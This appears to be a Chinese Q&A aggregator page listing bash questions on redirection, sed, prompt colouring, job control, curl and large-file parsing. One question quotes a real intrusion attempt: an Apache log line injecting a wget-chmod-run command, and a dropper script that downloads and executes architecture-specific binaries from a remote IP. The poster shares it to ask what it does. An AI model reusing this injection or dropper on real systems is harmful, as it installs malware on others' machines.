标签: bash

如何用一个tab替换多个空格

我有一些文本文件,其中包含一些由不同数量的空格分隔的列,但我需要一个单独的选项卡作为分隔符。可以在 Bash 中做吗?

linux bash text-manipulation

33
推荐指数
3
解决办法
8万
查看次数

bash 中 &> 和 >& 有什么区别?

bash&>>&bash 有什么区别?

tldp没有提到后者。真的是重定向操作符吗?

或者有人知道更完整的教程吗?

linux bash redirection

33
推荐指数
3
解决办法
4万
查看次数

Linux:着色 bash 提示会中断回车

当我尝试bash像这样为提示着色时:

export PS1="\e[0;31m[\u@\h \W]\$ \e[m "
Run Code Online (Sandbox Code Playgroud)

它会中断回车(而不是在行已满时转到新行,而是从同一行开始并擦除输入文本)。

如果我删除颜色序列它工作正常。
我使用 Ubuntu 11.10 和终端(guake 也有同样的错误)。

terminal bash bashrc ps1 ubuntu-11.10

33
推荐指数
1
解决办法
1万
查看次数

如何用sed用模式替换文件中的行?

我正在阅读大量有关 sed 的文档,但仍然对我的特定用例感到困惑。

我想用我自己的行替换 conf 文件中的这一行:

替换这一行:

#maxmemory <字节>
和:
最大内存 26GB

这是我尝试过的:

sed s/maxmemory.*bytes.*/maxmemory 26gb//etc/redis/redis.conf

我收到错误:

sed: -e 表达式 #1, char 30: 未终止的 `s' 命令

这让我很难过,因为我不知道这意味着什么。所以我的问题是:

我怎样才能完成我想要的?这个错误是什么意思?(所以我可以从中学习)

linux bash regex sed command-line

33
推荐指数
2
解决办法
13万
查看次数

如何更改 Cygwin 中的默认 shell?

我正在尝试将我的默认 shell 从 bash 更改为 cygwin 中的 zsh。

  1. chshcygwin 上没有正常的 unix 命令
  2. 在现有版本的 cygwin 中似乎不再使用 etc/passwd 文件。

那么如何更改默认外壳呢?

cygwin bash zsh shell oh-my-zsh

33
推荐指数
4
解决办法
3万
查看次数

Bash/ZSH:撤消“拒绝”

有没有办法在进程被“否认”后将进程“重新附加”到 shell 作业表?

编辑:$SEARCHENGINE 完全让我失望。看起来不太好。

bash zsh shell

32
推荐指数
3
解决办法
2万
查看次数

在后台继续执行“ctrl-z”-ed 工作

是否可以在后台继续停止的后台作业?

我有一个进程正在运行,我曾经使用ctrl-z停止它并返回到 bash。如果我想继续它,有fg可用的命令,但这使工作回到了前面。是否可以将它保持在后台但正在运行,就像它首先运行的那样&

bash job-control

32
推荐指数
1
解决办法
3万
查看次数

如何使用 cURL POST 文件内容?

我想要做一个位于 的本地文件HTTP POST内容(作为一个字符串)path/to/my-file.txthttp://example.com/.

例如,我可能想要执行以下操作:

  1. 将文件内容提取my-file.txt为字符串。
  2. URL 编码字符串。
  3. 将编码后的字符串存储为名为 的变量foo

然后做这样的事情:

curl -d "data=foo" http://example.com/
Run Code Online (Sandbox Code Playgroud)

(我实际上并不需要这个foo变量。这只是描述我的问题的一种方便的方式。)

执行此操作需要哪些命令?我需要写一个shell脚本吗?如果是这样,它看起来如何?

bash shell shell-script curl

32
推荐指数
3
解决办法
13万
查看次数

这个 bash 脚本有什么作用?[黑客尝试]

我一直在我的服务器上注意到 apache 日志,最近出现了以下奇怪的行:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

所以我做了一个自定义的 Fail2Ban 过滤器并开始禁止请求这些 /login.cgi URL 的 IP。

但我很好奇他们想要做什么,所以我拉了他们试图执行的脚本,我似乎无法弄清楚它到底做了什么。关于删除 /var 和 /tmp 中的 arch 文件夹?

无论如何,这里是:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
Run Code Online (Sandbox Code Playgroud)

linux apache-http-server bash shell-script

32
推荐指数
2
解决办法
4516
查看次数

如何解析超大 (70+ GB) .txt 文件?

我有几个.txt文件,每个文件超过 3000 万行,任何地方都有 20 到 40 个“列”(一些以逗号分隔,一些以空格分隔,所有 ASCII 行都以换行符分隔)。我不需要所有(甚至大部分)列,其中一些列的空空格填充了NULL.

我的目标是:

  1. 删除我不需要的列
  2. 按照我认为合适的方式重新排序列(为了可读性)
  3. 管道输出到另一个 .txt 文件,列用冒号分隔

我只是将一个大文本文件拆分为大约 40 个.txt文件,每个文件包含 1,000,000 行,将它们一个一个地导入 Excel,然后使用 CONCATENATE,但这种方法对我的下一个目标没有产生任何结果。文件以逗号分隔,但仍需转.txt.csv,Excel在导入过程中卡住;即使我把它放到Excel中,主文件也会分解成200多个更小的文件以符合Excel的上限,并且做同样的事情超过200次效率不高。

我正在开发 2020 年末的 MacBook Pro,对任何编码语言都不够精通,甚至不知道从哪里开始,但我在 shell 中编写了半舒适的脚本,并且总是在学习新技巧,只是不知道从哪儿开始。

bash parsing microsoft-excel

32
推荐指数
4
解决办法
9145
查看次数